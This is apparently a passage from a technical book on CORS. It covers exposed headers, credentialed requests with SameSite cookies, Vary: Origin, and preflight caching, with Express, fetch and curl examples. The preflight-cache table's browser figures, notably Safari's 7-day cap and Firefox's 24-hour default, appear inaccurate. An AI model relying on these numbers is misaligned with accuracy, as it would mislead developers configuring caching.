Common mistake: You add a new custom header to your API client — say, X-Trace-ID for distributed tracing — and forget to add it to your server's allowed headers. Everything works in Postman. Everything works in curl. Everything breaks in the browser. You file a bug against the frontend team. The frontend team sends you a link to this chapter.

Here's a quick diagnostic with curl to simulate what the browser does:

# Simulate the preflight the browser would send
curl -X OPTIONS https://api.example.com/data \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: Content-Type, X-Trace-ID" \
  -v 2>&1 | grep -i "access-control"

If X-Trace-ID doesn't appear in the Access-Control-Allow-Headers response, that's your problem.


Access-Control-Expose-Headers

What it does: Tells the browser which response headers JavaScript is allowed to read. This one surprises people.

By default, JavaScript can only read these response headers from a cross-origin request:

  • Cache-Control
  • Content-Language
  • Content-Length
  • Content-Type
  • Expires
  • Last-Modified
  • Pragma

That's it. These are called the "CORS-safelisted response headers." Everything else — your custom X-Request-ID, your ETag, your Link header for pagination — is invisible to JavaScript unless you explicitly expose it.

Format:

Access-Control-Expose-Headers: <header>[, <header>]*

Example:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Expose-Headers: X-Request-ID, X-RateLimit-Remaining, ETag
X-Request-ID: req-abc-123
X-RateLimit-Remaining: 47
ETag: "v42"
Content-Type: application/json

Without that Access-Control-Expose-Headers line, JavaScript would get undefined when trying to read response.headers.get("X-Request-ID"), even though the header is right there in the network tab. The header is present on the wire. The browser received it. It just won't let your JavaScript see it.

Debugging this in DevTools:

Open the Network tab, click on the request, look at the Response Headers section. You'll see all the headers. Then in the Console, try:

const res = await fetch("https://api.example.com/data");
console.log(res.headers.get("X-Request-ID"));  // null — unless exposed

The headers exist in the Network tab but not in JavaScript. This is one of the most confusing CORS behaviors for developers encountering it for the first time.

Common mistake: Building a pagination system that uses Link headers (like GitHub's API), then wondering why your frontend can't read them. The fix is one header on the server, but the symptom looks like the header doesn't exist.


Access-Control-Max-Age

What it does: Tells the browser how long (in seconds) it can cache the preflight response. We'll cover this in depth in Chapter 9, but here's the quick reference.

Format:

Access-Control-Max-Age: <seconds>

Example:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400

Key details:

  • 86400 = 24 hours. A reasonable production value.
  • 0 = don't cache preflights (useful for debugging).
  • -1 = disable caching (some browsers).
  • Browsers impose their own maximums. Chrome caps at 7200 seconds (2 hours). Firefox allows up to 86400 (24 hours). Your Max-Age: 604800 (one week) will be silently clamped.
  • If this header is absent, browsers use their own defaults — which vary. Firefox defaults to 24 hours, Chrome to 5 seconds. Yes, 5 seconds.

Common mistake: Setting Max-Age: 86400 and wondering why Chrome still sends preflights every couple of hours. Chrome's cap is 7200. You can't override it.


Access-Control-Allow-Credentials

What it does: Tells the browser it's OK to include credentials (cookies, HTTP auth, TLS client certificates) in cross-origin requests and to expose the response to JavaScript.

Valid values: true — that's it. There is no false value. If you don't want to allow credentials, omit the header entirely.

Format:

Access-Control-Allow-Credentials: true

Example:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=None
Content-Type: application/json

The big constraint: When this header is true, you cannot use the wildcard * for any of these headers:

  • Access-Control-Allow-Origin — must be a specific origin
  • Access-Control-Allow-Methods — must list specific methods
  • Access-Control-Allow-Headers — must list specific headers
  • Access-Control-Expose-Headers — must list specific headers

The browser will reject the response if it sees Allow-Credentials: true alongside any wildcards. This is the source of approximately 40% of all CORS questions on the internet.

Common mistake:

# This WILL NOT WORK
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

The browser error will be something like:

Access to fetch at 'https://api.example.com' from origin 'https://app.example.com' has been blocked by CORS policy: The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*' when the request's credentials mode is 'include'.

Chapter 8 covers credentials in much more detail.


Vary: Origin

This isn't technically a CORS-specific header — Vary is a standard HTTP caching header. But it's so critical to correct CORS behavior that leaving it out of this chapter would be malpractice.

What it does: Tells caches (CDNs, proxies, browser cache) that the response varies depending on the Origin request header. Different origins may get different Access-Control-Allow-Origin values, so caches must not serve a response cached for one origin to a request from a different origin.

Format:

Vary: Origin

Or combined with other Vary values:

Vary: Origin, Accept-Encoding

When you MUST include it:

Any time your Access-Control-Allow-Origin value is dynamic — meaning it changes based on the Origin request header. If you echo back the requesting origin from an allowlist, you need Vary: Origin.

What happens without it:

Here's the nightmare scenario:

  1. User visits https://app-a.example.com, which makes a cross-origin request to https://api.example.com/data.
  2. The server responds with Access-Control-Allow-Origin: https://app-a.example.com.
  3. A CDN caches this response.
  4. Another user visits https://app-b.example.com, which makes the same request to https://api.example.com/data.
  5. The CDN serves the cached response, which still says Access-Control-Allow-Origin: https://app-a.example.com.
  6. The browser sees that app-a doesn't match app-b, blocks the response.
  7. Your monitoring lights up. Users of app-b get errors. The CDN cache TTL is 1 hour. You wait, sweating.

Adding Vary: Origin prevents step 5. The CDN knows to cache separate copies for different Origin values.

When you DON'T need it:

If your Access-Control-Allow-Origin is always * (a constant, not dynamic), the response is the same regardless of origin. Technically, Vary: Origin isn't required. But including it anyway is harmless and defensive.

Common mistakes:

  1. Forgetting it entirely. This is the most common CORS caching bug in production. Everything works in development (no CDN), everything breaks intermittently in production. "Intermittently" because it depends on which origin populates the cache first.

  2. Setting Vary: *. This tells caches the response varies on everything and is effectively uncacheable. That might be what you want, but it's a sledgehammer.

  3. Not including it in preflight responses. OPTIONS responses with dynamic Allow-Origin values need Vary: Origin too. CDNs can cache OPTIONS responses.

Verifying with curl:

# Check if Vary: Origin is present
curl -s -D - -o /dev/null https://api.example.com/data \
  -H "Origin: https://app.example.com" | grep -i "vary"

You should see something like:

Vary: Origin

or:

Vary: Origin, Accept-Encoding

If you don't see Origin in the Vary header and your server uses dynamic origin matching, you have a caching bug waiting to happen.


Quick Reference Table

HeaderDirectionPresent InRequired?
OriginRequestAll cross-origin requestsAuto (browser)
Access-Control-Request-MethodRequestPreflight onlyAuto (browser)
Access-Control-Request-HeadersRequestPreflight onlyAuto (browser)
Access-Control-Allow-OriginResponsePreflight + ActualYes
Access-Control-Allow-MethodsResponsePreflight onlyFor non-simple methods
Access-Control-Allow-HeadersResponsePreflight onlyFor non-simple headers
Access-Control-Expose-HeadersResponseActual onlyIf JS needs custom headers
Access-Control-Max-AgeResponsePreflight onlyOptional
Access-Control-Allow-CredentialsResponsePreflight + ActualIf using credentials
Vary: OriginResponsePreflight + ActualIf origin is dynamic

Putting It All Together

Here's a complete preflight exchange with every relevant header, annotated:

Preflight request (sent by the browser automatically):

OPTIONS /api/users HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization

Preflight response (sent by your server):

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 3600
Access-Control-Allow-Credentials: true
Vary: Origin

Actual request (sent by the browser after preflight succeeds):

PUT /api/users HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJSUzI1NiIs...
Cookie: session=abc123

{"name": "Updated Name"}

Actual response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: X-Request-ID, ETag
Vary: Origin
Content-Type: application/json
X-Request-ID: req-789
ETag: "v43"

{"id": 42, "name": "Updated Name"}

Note that Access-Control-Allow-Origin, Access-Control-Allow-Credentials, and Vary: Origin appear in both the preflight response and the actual response. The preflight unlocks the right to send the request. The actual response headers control whether JavaScript can read the result.


DevTools Cheat Sheet

When debugging CORS headers in Chrome DevTools:

  1. Network tab — Find the request. If it was preflighted, you'll see two entries: the OPTIONS request and the actual request. Check headers on both.

  2. Filter by method — Type method:OPTIONS in the Network filter bar to find preflight requests specifically.

  3. Check the Response Headers on the OPTIONS request for Allow-Methods, Allow-Headers, and Max-Age.

  4. Check the Response Headers on the actual request for Allow-Origin, Allow-Credentials, and Expose-Headers.

  5. Console tab — CORS errors appear here with (usually) helpful messages. Read them carefully. They typically tell you exactly which header is missing or wrong.

# The curl equivalent of what the browser does for a preflight:
curl -X OPTIONS https://api.example.com/api/users \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: Content-Type, Authorization" \
  -v 2>&1 | grep -i "< access-control\|< vary"

That's every CORS header. Ten headers, three on the request side, seven on the response side (plus Vary). If you understand all of them, you understand CORS. The rest is configuration.

Credentials and Cookies

If regular CORS is "why can't I fetch this," credentialed CORS is "why can't I fetch this with my cookies." And the answer is more complicated than anyone would like.

Credentials are where CORS goes from "mildly annoying" to "why is this so hard." The rules change. The wildcards stop working. Headers that were optional become mandatory. Things that worked five minutes ago stop working the moment you add credentials: "include". And the error messages — oh, the error messages — will point you in every direction except the right one.

Let's untangle this properly.


What "Credentials" Actually Means

In CORS, "credentials" is a broader term than you might expect. It covers:

  • Cookies — the most common case
  • HTTP AuthenticationAuthorization headers from browser-managed auth prompts (Basic, Digest, NTLM)
  • TLS client certificates — when mutual TLS is configured in the browser

Most of the time, when people say "credentialed CORS request," they mean cookies. But the rules apply to all three categories.


The Default: Credentials Are NOT Sent Cross-Origin

This is critical to internalize. By default, when JavaScript makes a cross-origin request, the browser does not attach cookies or other credentials. Even if the user has valid cookies for the target domain. Even if those cookies are sitting right there in the cookie jar. The browser deliberately withholds them.

// This request will NOT include cookies for api.example.com
// even if the user has them
fetch("https://api.example.com/me");

This is a security feature. Without it, any website you visit could silently make authenticated requests to your bank, your email, your corporate intranet — using your cookies. The Same-Origin Policy and CORS defaults prevent this.

If you want credentials sent cross-origin, both sides have to explicitly opt in.


Client Side: Requesting Credentials

fetch() credentials option

The fetch() API has a credentials option with three values:

ValueBehavior
"omit"Never send credentials, even for same-origin requests
"same-origin"Send credentials only for same-origin requests (default)
"include"Send credentials for both same-origin and cross-origin requests
// Cross-origin request WITH cookies
const response = await fetch("https://api.example.com/me", {
  credentials: "include"
});

That credentials: "include" is the client-side opt-in. Without it, no cookies cross the origin boundary.

XMLHttpRequest.withCredentials

The older XMLHttpRequest API uses a boolean property:

const xhr = new XMLHttpRequest();
xhr.open("GET", "https://api.example.com/me");
xhr.withCredentials = true;  // equivalent to credentials: "include"
xhr.send();

Same effect, different syntax. Both tell the browser: "Yes, I intentionally want to send credentials to this cross-origin server."


Server Side: Allowing Credentials

The client-side opt-in is necessary but not sufficient. The server must also explicitly allow credentialed requests by including this header in its response:

Access-Control-Allow-Credentials: true

If the server doesn't include this header, the browser will block the response — even if the request was sent successfully with cookies. The server received the cookies. The server processed them. The server returned a valid response. But the browser throws it all away because the server didn't say "yes, I meant to do that."

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{"user": "alice", "email": "alice@example.com"}

Both sides must agree. Client says credentials: "include", server responds with Access-Control-Allow-Credentials: true. If either side doesn't opt in, credentials don't flow.


THE BIG RULE: No Wildcards With Credentials

This is the rule that generates the most confusion, the most Stack Overflow questions, and the most desperate Slack messages at 2 AM. So let's state it clearly:

When Access-Control-Allow-Credentials: true is present, you CANNOT use the wildcard * for:

  • Access-Control-Allow-Origin
  • Access-Control-Allow-Methods
  • Access-Control-Allow-Headers
  • Access-Control-Expose-Headers

All four must use explicit, specific values. No shortcuts.

This will fail:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Chrome's error message:

Access to fetch at 'https://api.example.com/me' from origin 'https://app.example.com' has been blocked by CORS policy: The value of the 'Access-Control-Allow-Origin' header in the response must not be the wildcard '*' when the request's credentials mode is 'include'.

Firefox's error message:

Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at https://api.example.com/me. (Reason: Credential is not supported if the CORS header 'Access-Control-Allow-Origin' is '*').

Both are saying the same thing: pick one, credentials or wildcards. You can't have both.

Why this rule exists

Think about what Access-Control-Allow-Origin: * with credentials would mean: "Any website on the internet can make authenticated requests to this server using the user's cookies and read the response." That's the entire Same-Origin Policy defeated in one header combination. The browser spec authors wisely prohibited it.

The solution: echo the origin

Instead of *, read the Origin request header, validate it against your allowlist, and echo it back:

// Express middleware
app.use((req, res, next) => {
  const allowedOrigins = [
    "https://app.example.com",
    "https://staging.example.com"
  ];
  const origin = req.headers.origin;

  if (allowedOrigins.includes(origin)) {
    res.setHeader("Access-Control-Allow-Origin", origin);
    res.setHeader("Access-Control-Allow-Credentials", "true");
    res.setHeader("Vary", "Origin");
  }

  next();
});

Notice the Vary: Origin. This is absolutely critical here and we need to talk about why.


Vary: Origin — The Cache Safety Net

When you dynamically set Access-Control-Allow-Origin based on the request's Origin header, you're producing different responses for different origins. If anything caches this response — a CDN, a proxy, even the browser's HTTP cache — it needs to know that the cached version for origin A isn't valid for origin B.

Vary: Origin tells caches: "This response depends on the Origin request header. Cache separate copies for each origin."

Without Vary: Origin:

  1. https://app.example.com requests /api/me — server returns Allow-Origin: https://app.example.com, CDN caches it
  2. https://evil.example.com requests /api/me — CDN serves cached response with Allow-Origin: https://app.example.com
  3. Browser blocks it (origin mismatch). But now imagine the reverse:
  4. https://evil.example.com requests first — server rejects it (not in allowlist), CDN caches the rejection
  5. https://app.example.com requests — CDN serves the cached rejection
  6. Your legitimate app breaks

Both scenarios are bad. Vary: Origin prevents both. Always include it when the origin is dynamic.


The SameSite cookie attribute adds another layer of controls on when cookies are sent. It interacts with CORS in ways that confuse people because they're two separate mechanisms that both govern cookie transmission.

SameSite values:

ValueCross-origin fetch with credentials: "include"
SameSite=None; SecureCookie IS sent (this is what you need for cross-origin)
SameSite=LaxCookie is NOT sent on cross-origin fetch requests
SameSite=StrictCookie is NOT sent on any cross-site request
(not set)Defaults to Lax in modern browsers

The key insight: Even if your CORS headers are perfect, cookies with SameSite=Lax (the default) won't be sent on cross-origin fetch() requests. You need SameSite=None; Secure:

Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=None; Path=/

Note that SameSite=None requires the Secure attribute, which means the cookie can only be sent over HTTPS. This is a deliberate security requirement — if you're going to send cookies cross-site, you'd better be using encrypted connections.

The layers of cookie transmission for a cross-origin request:

  1. Does the JavaScript code include credentials: "include"? If no: no cookies.
  2. Does the cookie have SameSite=None; Secure? If no: no cookies.
  3. Is the request over HTTPS? If no: no cookies (because Secure flag).
  4. Does the server response include Access-Control-Allow-Credentials: true? If no: response is blocked (cookies were sent, but JS can't read the response).
  5. Does the server response include a specific (non-wildcard) Access-Control-Allow-Origin? If no: response is blocked.

All five conditions must be met. Miss one and something breaks — often with an error message that points at a different layer.

Debugging cookie transmission in DevTools:

Chrome DevTools has a great tool for this. In the Application tab, under Cookies, you can see each cookie's SameSite attribute. In the Network tab, click on a request and check the Cookies sub-tab to see which cookies were actually sent (vs. which ones exist but were withheld).

Look for the "Filtered" indicator in the cookies list. Chrome will show you cookies that were blocked and explain why (SameSite, Secure, etc.).


This is the elephant in the room. Browsers are increasingly restricting or blocking third-party cookies — cookies set by a domain other than the one in the address bar.

If your architecture looks like this:

User visits:       https://app.example.com
API calls go to:   https://api.example.com

Then cookies set by api.example.com are third-party cookies from the perspective of the page at app.example.com. Chrome, Firefox, and Safari are all tightening restrictions on these.

Safari (via Intelligent Tracking Prevention) has been blocking most third-party cookies since 2020. Firefox (Enhanced Tracking Protection) partitions them. Chrome has been experimenting with various approaches including the Privacy Sandbox and has been gradually rolling out restrictions.

What this means for credentialed CORS:

Your perfectly configured CORS setup with credentials: "include" and Access-Control-Allow-Credentials: true and SameSite=None; Secure cookies may simply stop working because the browser blocks the cookie as a third-party tracker.

Strategies for dealing with this:

  1. Use the same domain. Put your API at api.example.com and your app at app.example.com. Cookies set on .example.com are first-party cookies for both. This sidesteps the problem entirely — and also simplifies your CORS configuration.

  2. Use token-based auth instead of cookies. Store your JWT or session token in JavaScript-accessible storage and send it in the Authorization header. No cookies, no SameSite issues, no third-party cookie restrictions. (This has its own security tradeoffs — XSS can steal tokens — but it avoids cookie issues.)

  3. Use the Storage Access API. This browser API allows embedded third-party content to request access to its cookies. It requires user interaction (a click inside the iframe) and a permission prompt. It's awkward but it works for some use cases.

  4. Use CHIPS (Cookies Having Independent Partitioned State). The Partitioned cookie attribute creates per-site cookie jars. A cookie set by api.example.com while embedded in app.example.com is separate from the same cookie on other-app.example.com. This prevents cross-site tracking while allowing the credentialed flow to work.

Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=None; Partitioned; Path=/

Common Mistake Walkthrough

Let's walk through the most common credentialed CORS mistake step by step, because seeing the failure mode helps you recognize it instantly.

The setup: You have a working API at api.example.com with Access-Control-Allow-Origin: *. Everything works. Then you add authentication. You need cookies. You add credentials: "include" to your fetch calls and Access-Control-Allow-Credentials: true to your server.

The frontend code:

const response = await fetch("https://api.example.com/me", {
  credentials: "include"
});
const user = await response.json();

The server response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Content-Type: application/json

What happens: The browser blocks the response. The Console shows:

The value of the 'Access-Control-Allow-Origin' header must not be the wildcard '*' when the request's credentials mode is 'include'.

The fix: Change * to the specific origin:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Vary: Origin
Content-Type: application/json

But then: You realize you also have a staging environment at https://staging.example.com. You can't hardcode one origin. So you implement dynamic origin reflection with validation (as shown earlier in this chapter).

But then: Your preflight requests also fail because you forgot to add Access-Control-Allow-Credentials: true to the OPTIONS response.

But then: Your cookies aren't being sent anyway because they're SameSite=Lax by default, and you need SameSite=None; Secure.

But then: Safari blocks the cookies entirely because they're third-party.

This is the credentialed CORS experience. It's turtles all the way down.


Complete Credentialed Request Flow

Let's trace a successful credentialed request from start to finish, including both the preflight and the actual request.

Scenario: https://app.example.com needs to make a PUT request to https://api.example.com/users/me with a JSON body and session cookies.

Step 1: Browser sends preflight

The PUT method with Content-Type: application/json triggers a preflight.

OPTIONS /users/me HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type

Note: The preflight itself doesn't include cookies. Credentials are not sent on preflight requests.

Step 2: Server responds to preflight

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 3600
Vary: Origin

Step 3: Browser sends actual request (with cookies)

The preflight passed. Now the browser sends the real request, this time with cookies:

PUT /users/me HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Content-Type: application/json
Cookie: session=abc123; preferences=dark-mode

{"displayName": "Alice Updated"}

Step 4: Server responds

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: X-Request-ID
Vary: Origin
Content-Type: application/json
X-Request-ID: req-456
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=None; Path=/; Max-Age=3600

{"id": "me", "displayName": "Alice Updated"}

Step 5: JavaScript can read the response

const response = await fetch("https://api.example.com/users/me", {
  method: "PUT",
  credentials: "include",
  headers: { "Content-Type": "application/json" },
  body: JSON.stringify({ displayName: "Alice Updated" })
});

const data = await response.json();
console.log(data.displayName);  // "Alice Updated"

// Can read exposed headers
console.log(response.headers.get("X-Request-ID"));  // "req-456"

// Cannot read unexposed headers
console.log(response.headers.get("Set-Cookie"));  // null (never exposed to JS)

Simulating this flow with curl:

# Step 1: Preflight
curl -X OPTIONS https://api.example.com/users/me \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: Content-Type" \
  -v 2>&1 | grep "< "

# Step 2: Actual request with cookies
curl -X PUT https://api.example.com/users/me \
  -H "Origin: https://app.example.com" \
  -H "Content-Type: application/json" \
  -H "Cookie: session=abc123" \
  -d '{"displayName": "Alice Updated"}' \
  -v 2>&1 | grep "< "

Decision Flowchart

When deciding how to handle credentials in your cross-origin architecture:

  1. Can you put the API on the same origin? (e.g., /api/ prefix, reverse proxy)

    • Yes: Do that. No cross-origin, no CORS, no credential drama.
    • No: Continue.
  2. Can you use the same parent domain? (e.g., app.example.com + api.example.com)

    • Yes: Use cookies on .example.com. Still cross-origin for CORS purposes, but cookies are first-party. Much simpler.
    • No: Continue.
  3. Can you use token-based auth? (JWT in Authorization header)

    • Yes: You avoid all cookie/SameSite/third-party issues. You still need CORS headers, but you don't need Allow-Credentials.
    • No: Continue.
  4. You need cross-origin cookies.

    • Set SameSite=None; Secure on your cookies.
    • Use credentials: "include" on the client.
    • Return Access-Control-Allow-Credentials: true and specific (non-wildcard) Access-Control-Allow-Origin on the server.
    • Include Vary: Origin on every response.
    • Test in Safari and Firefox, not just Chrome.
    • Accept that browser policy changes may break this in the future.
    • Have a backup plan.

Credentials and CORS is the most complex part of the CORS specification, and the part that interacts the most with other browser security mechanisms. If you can avoid credentialed cross-origin requests, avoid them. If you can't, this chapter has given you everything you need to make them work — and understand why they might stop working.

Caching Preflight Responses

Every preflight request is an HTTP round-trip that does zero useful work from the user's perspective. It carries no payload. It returns no data. It's pure overhead — a permission slip the browser needs before it can do the thing you actually wanted.

On a high-latency connection or a chatty SPA that makes dozens of API calls on page load, preflights add up. A 200ms round trip per preflight, ten API endpoints hit on startup, and you've added two full seconds of latency before a single byte of real data arrives. Your user is staring at a spinner while the browser and your server exchange polite notes about what HTTP methods are acceptable.

The good news: browsers can cache preflight responses, so this tax is mostly a first-visit cost. The bad news: the defaults are surprisingly unhelpful, the caching behavior varies wildly between browsers, and getting it wrong means either unnecessary preflights (slow) or stale cached permissions (broken).


Access-Control-Max-Age: The Basics

The Access-Control-Max-Age response header tells the browser how long, in seconds, it can cache the result of a preflight request before it needs to ask again.

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400

86400 seconds = 24 hours. For the next 24 hours, if the browser needs to make a request with the same characteristics from the same origin to the same URL, it can skip the preflight and go directly to the actual request.

Valid values:

ValueMeaning
86400Cache for 24 hours
3600Cache for 1 hour
0Don't cache — always send a preflight
-1Disable caching (browser-dependent)
(absent)Use the browser's default

Negative values and zero are useful for debugging. When you're troubleshooting a CORS issue and the browser keeps using a cached preflight, set Max-Age: 0 temporarily so every request triggers a fresh preflight. Just remember to change it back.


Browser Maximum Caps

Here's the fun part: every browser imposes its own maximum on Access-Control-Max-Age, and they all picked different numbers.

BrowserMaximum Max-AgeDefault (when header is absent)
Chrome / Chromium7200 seconds (2 hours)5 seconds
Firefox86400 seconds (24 hours)24 hours
Safari604800 seconds (7 days)5 minutes

Read that table again. If you don't send Access-Control-Max-Age, Chrome will re-preflight every 5 seconds. Firefox will cache for 24 hours. Safari sits somewhere in between.

This means:

  • Without Max-Age, Chrome users get hammered with preflight requests on every page load. If your app makes the same API call twice within 5 seconds, the second one skips the preflight. Otherwise, it doesn't.
  • Without Max-Age, Firefox users almost never see repeated preflights. Which is great until you change your CORS configuration and Firefox users have stale cached preflights for up to 24 hours.

Always set Access-Control-Max-Age explicitly. Don't rely on browser defaults. A good production value is 3600 (1 hour) or 7200 (2 hours, Chrome's max). Going higher than 7200 only benefits Firefox and Safari users; Chrome ignores anything above its cap.

# Verify the Max-Age header is present
curl -X OPTIONS https://api.example.com/data \
  -H "Origin: https://app.example.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: Content-Type" \
  -s -D - -o /dev/null | grep -i "access-control-max-age"

If you get no output, your server isn't sending Max-Age, and Chrome users are paying the preflight tax on nearly every request.


What Gets Cached: The Preflight Cache Key

The browser doesn't just cache "can I talk to this server" — it caches specific permission grants. The preflight cache entry is keyed on:

  1. Origin — the requesting origin
  2. URL — the target URL of the actual request
  3. Request method — from Access-Control-Request-Method
  4. Request headers — from Access-Control-Request-Headers

This means a cached preflight for PUT to https://api.example.com/users from https://app.example.com with headers Content-Type, Authorization does not cover:

  • A DELETE to the same URL (different method)
  • A PUT to https://api.example.com/orders (different URL)
  • A PUT to the same URL but with an additional X-Request-ID header (different headers)
  • The same request from https://other-app.example.com (different origin)

Each unique combination gets its own cache entry and its own expiration timer.

Practical implication: If your SPA hits 15 different API endpoints, each one needs its own preflight on first access. Caching helps with repeated calls to the same endpoint, but it doesn't help with the initial burst.


Cache Invalidation

When does the browser throw away a cached preflight and ask again?

  1. The Max-Age expires. Straightforward.

  2. The user clears browser data. "Clear browsing data" wipes the preflight cache along with everything else.

  3. A network error occurs on the actual request. Some browsers invalidate the cached preflight when the actual request fails, reasoning that the server's CORS configuration may have changed.

  4. The cached entry doesn't cover the new request. If you start sending a new header that wasn't in the original preflight, the cache doesn't apply, and a new preflight fires.

What does not invalidate the cache:

  • Reloading the page (the preflight cache persists across navigations within the same browser session)
  • Closing and reopening the tab (usually — depends on browser)
  • Server-side changes to CORS configuration (the browser has no way to know)

That last point is important. If you change your allowed origins or methods on the server, users with cached preflights won't pick up the change until their cache expires. This is usually fine for permissive changes (adding a new allowed method) but can be a problem for restrictive changes (removing an allowed origin). A user whose browser has the old preflight cached will continue to make requests that your server now wants to reject, and the browser will happily send them — the actual request always goes through; it's the response that gets blocked.


Performance Impact: Real Numbers

Let's put some numbers on preflight overhead to understand why caching matters.

Assumptions for a typical SPA:

  • API server round-trip time: 50ms (same region), 200ms (cross-region)
  • Number of unique API endpoints hit on page load: 8
  • Number of endpoints requiring preflight: 6 (2 are simple GET requests)

Without preflight caching (Max-Age: 0):

ScenarioPreflight overhead per page load
Same region (50ms RTT)6 × 50ms = 300ms
Cross-region (200ms RTT)6 × 200ms = 1,200ms

That's 1.2 seconds of pure preflight overhead on every page load for cross-region users. Not on first visit — on every visit.

With preflight caching (Max-Age: 7200):

ScenarioFirst visitSubsequent visits (within 2h)
Same region300ms0ms
Cross-region1,200ms0ms

Preflight caching eliminates the overhead entirely on return visits. For SPAs where users stay on the page and make repeated API calls, the first batch of preflights is the only one that matters.

Measuring in practice:

Open Chrome DevTools, Network tab, and filter by method:OPTIONS. Look at the Timing tab for each preflight. You'll see:

  • Stalled/Queueing: Time waiting to be sent
  • DNS Lookup: Usually cached
  • Initial Connection/SSL: Usually reused
  • Waiting (TTFB): Server processing time — this is the meat of it
  • Content Download: Negligible (preflights have no body)

For a cached preflight, you won't see an OPTIONS request at all. That's how you know caching is working — the preflight simply doesn't appear in the Network tab.


Strategy: Minimizing Preflights in Production

1. Set a generous Max-Age

Access-Control-Max-Age: 7200

7200 seconds (2 hours) is the maximum Chrome will honor. There's no benefit to going higher for Chrome users, but Firefox and Safari users get the longer duration. Use 86400 if you want to maximize caching across all browsers.

2. Design APIs that avoid preflights where possible

Remember what triggers a preflight:

  • Non-simple methods (PUT, DELETE, PATCH)
  • Non-simple headers (Authorization, custom headers)
  • Non-simple Content-Type (anything other than application/x-www-form-urlencoded, multipart/form-data, text/plain)

Some teams deliberately design their APIs to avoid preflights for the most common operations:

# This triggers a preflight (non-simple method)
DELETE /api/sessions/current

# This avoids a preflight (POST is simple, form content type is simple)
POST /api/logout
Content-Type: application/x-www-form-urlencoded

I'm not saying you should contort your API design around CORS rules. But if you have a high-traffic endpoint where every millisecond matters, knowing which requests are "simple" lets you make informed tradeoffs.

The big one: Content-Type. If you could use Content-Type: application/x-www-form-urlencoded instead of application/json, your POST requests would be simple requests — no preflight. Some teams use this for lightweight endpoints. Most teams decide that application/json is worth the preflight. It's a judgment call.

3. Batch API calls

Instead of 10 separate API calls on page load (potentially 10 preflights), consider a single batch endpoint:

POST /api/batch
Content-Type: application/json

[
  {"method": "GET", "path": "/users/me"},
  {"method": "GET", "path": "/notifications"},
  {"method": "GET", "path": "/settings"}
]

One preflight instead of many. The tradeoff is API design complexity.

4. Use a same-origin proxy

If your frontend and API are on different origins, put a reverse proxy in front of them so they share an origin:

https://app.example.com/          → frontend server
https://app.example.com/api/      → proxied to API server

No cross-origin requests, no CORS, no preflights. This is often the simplest solution, though it requires infrastructure changes.

5. Use GET where semantically appropriate

GET requests without custom headers are simple requests — no preflight. If you're fetching data (not mutating state), GET is probably the right method anyway, and it avoids the preflight entirely.


CDN and Proxy Caching Considerations

The preflight cache we've discussed so far is the browser's cache. But there's another caching layer that matters: CDNs and reverse proxies sitting between the browser and your server.

Can CDNs cache OPTIONS responses?

Yes. An OPTIONS response is just an HTTP response, and CDNs can cache it like any other. Whether they should depends on your setup.

If your Access-Control-Allow-Origin is always * (static):

CDN caching is safe. The OPTIONS response is the same regardless of who's asking.

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type
Access-Control-Max-Age: 7200
Cache-Control: max-age=7200

Adding Cache-Control tells the CDN to cache the OPTIONS response. This offloads preflight handling from your origin server entirely — the CDN handles it at the edge, which can shave off significant latency for geographically distributed users.

If your Access-Control-Allow-Origin is dynamic (varies by origin):

You must include Vary: Origin on the OPTIONS response:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 7200
Vary: Origin
